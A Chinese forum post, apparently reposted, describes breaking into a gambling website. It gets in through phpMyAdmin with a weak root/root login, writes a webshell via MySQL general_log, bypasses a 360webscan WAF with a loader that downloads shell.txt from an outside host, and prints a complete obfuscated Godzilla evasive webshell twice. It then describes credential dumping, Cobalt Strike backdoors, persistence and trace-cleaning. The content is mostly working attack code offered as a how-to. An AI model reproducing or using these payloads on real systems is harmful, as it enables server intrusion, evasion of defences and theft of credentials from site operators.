標題:簡單繞過waf拿下賭博網站

taibeihacker

Moderator

确定目标​

1049983-20211227133329750-1797698662.png

收集信息​

x.x.x.x首先常規測試方法一頓懟,目錄掃描,端口掃描,js文件,中間件,指紋識別,反正該上的都上。
隨手加個路徑,報錯了,當看到這個界面我瞬間就有思路了
1049983-20211227133330621-2119695253.png

為什麼這麼說呢,因為之前我就碰見過這樣的網站報錯, 這是一個php集成環境,叫upupw,跟phpstudy是一樣的
upupw -- pmd
phpstudy -- phpmyadmin

突破点​

這個集成環境包也有個phpinfo的頁面,跟數據庫管理界面
u.php
1049983-20211227133331530-711060481.png

測試一下弱口令
root/root
1049983-20211227133332070-251029247.png

連接成功後就可以看到phpinfo的頁面
1049983-20211227133332577-1872535075.png

好了現在問題變成phpmyadmin拿shell
1049983-20211227133333110-1709311843.png

getshell​

三步拿shell
set global general_log='on';
SET global general_log_file='D:/xxxx/WWW/cmd.php';
SELECT '?php assert($_POST['cmd']);';當執行第三步的時候頁面卡在執行中。沒有反應瞬間感覺不對,可能存在waf
換了個免殺馬試試,先寫到txt裡邊看看成否成功
1049983-20211227133333669-199389760.png

沒有任何問題,下面直接寫入php文件
1049983-20211227133334288-244199575.png

可以寫入,直接去連接shell
1049983-20211227133334716-2004556101.png

果然有waf,當時寫入的時候就感覺到了,不免殺的shell,sql語句執行不了

绕过waf​

懟了半天都不知道是什麼鬼waf,用下載文件試試
為了避免攔截php代碼的waf,我這里遠程下載的腳本是利用JavaScript轉寫php
SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
SELECT 'script language='php' $a='http://x.x.x.x:81/shell.txt';$b='fi...;$b=$b($a);file_put_contents('shell.php',$b); /script'
1049983-20211227133335151-847208151.png

訪問11.php 就會生成shell.php
這裡的shell也是用了哥斯拉的免殺shell
?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$istrlen($D);$i++) {
$D[$i]=$D[$i]^$K[$i+115];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p.'');}}
$R=new C();
$R-nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
1049983-20211227133335581-974274230.png

嘗試了這麼多次
1049983-20211227133336029-1700065528.png

1049983-20211227133336441-1129894130.png

進程裡沒有waf進程
權限是system
1049983-20211227133336872-903456971.png

脱源码​

上傳抓密碼工具,直接獲取管理密碼,登上服務器
1049983-20211227133337323-583019201.png

1049983-20211227133337843-704173796.png

1049983-20211227133338235-1688533904.png

留后门,清理痕迹​

多留幾個後門,萬一被刪
1049983-20211227133338618-611847887.png

1049983-20211227133339144-1587633202.png

這個網段還有這麼多機器
1049983-20211227133339619-1138922452.png

源码​

打開源碼才發現waf是360webscan
1049983-20211227133340154-1963496794.png

總結:1.信息收集,目錄掃描,端口掃描,JS文件敏感文件掃描,中間件掃描,指紋識別無任何可利用信息2.通過在網址後加入錯誤路徑,報錯信息“為找到,法海不懂愛,頁面顯示不出來”,該系統是php集成環境upupw3.該環境有個叫phpinfo的文件為u.php,輸入弱口令root/root,可直接進入phpmyadmin,同時可查看phpinfo的信息,暴露出網站的絕對路徑為D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/4.phpmyadmin通過寫入日誌獲取shellset global general_log='on';SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';SELECT '?php assert($_POST['cmd']);';5.可直接寫入一句話,但是連接shell,被WAF攔截6.通過遠程下載的腳本是利用JavaScript轉寫php繞過WAF(360webscan)SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';SELECT 'script language='php' $a='http://x.x.x.x:81/shell.txt';$b='fi...;$b=$b($a);file_put_contents('shell.php',$b); /script'7.訪問11.php 就會生成shell.phpshell.txt:php session_start(); @set_time_limit(0); @error_reporting(0); function E($D,$K){ for($i=0;$istrlen($D);$i++) { $D[$i]=$D[$i]^$K[$i+115]; } return $D; } function Q($D){ return base64_encode($D); } function O($D){ return base64_decode($D); } $P='pass'; $V='payload'; $T='3c6e0b8a9c15224a'; if (isset($_POST[$P])){ $F=O(E(O($_POST[$P]),$T)); if (isset($_SESSION[$V])){ $L=$_SESSION[$V]; $A=explode('|',$L); class C{public function nvoke($p) {eval($p.'');}} $R=new C(); $R-nvoke($A[0]); echo substr(md5($P.$T),0,16); echo Q(E(@run($F),$T)); echo substr(md5($P.$T),16); }else{ $_SESSION[$V]=$F; } }8.通過格拉斯連接shell,然後查看進程tasklist,並無殺毒軟件,查看權限whoami,是system權限9.上傳hash抓取本地密碼,可抓取windows本地用戶名和密碼10.上傳cs的生成的後門文件,並執行。 11.下載源碼,發現WAF使用的360webscan原文鏈接:https://xz.aliyun.com/t/9181
 
返回
上方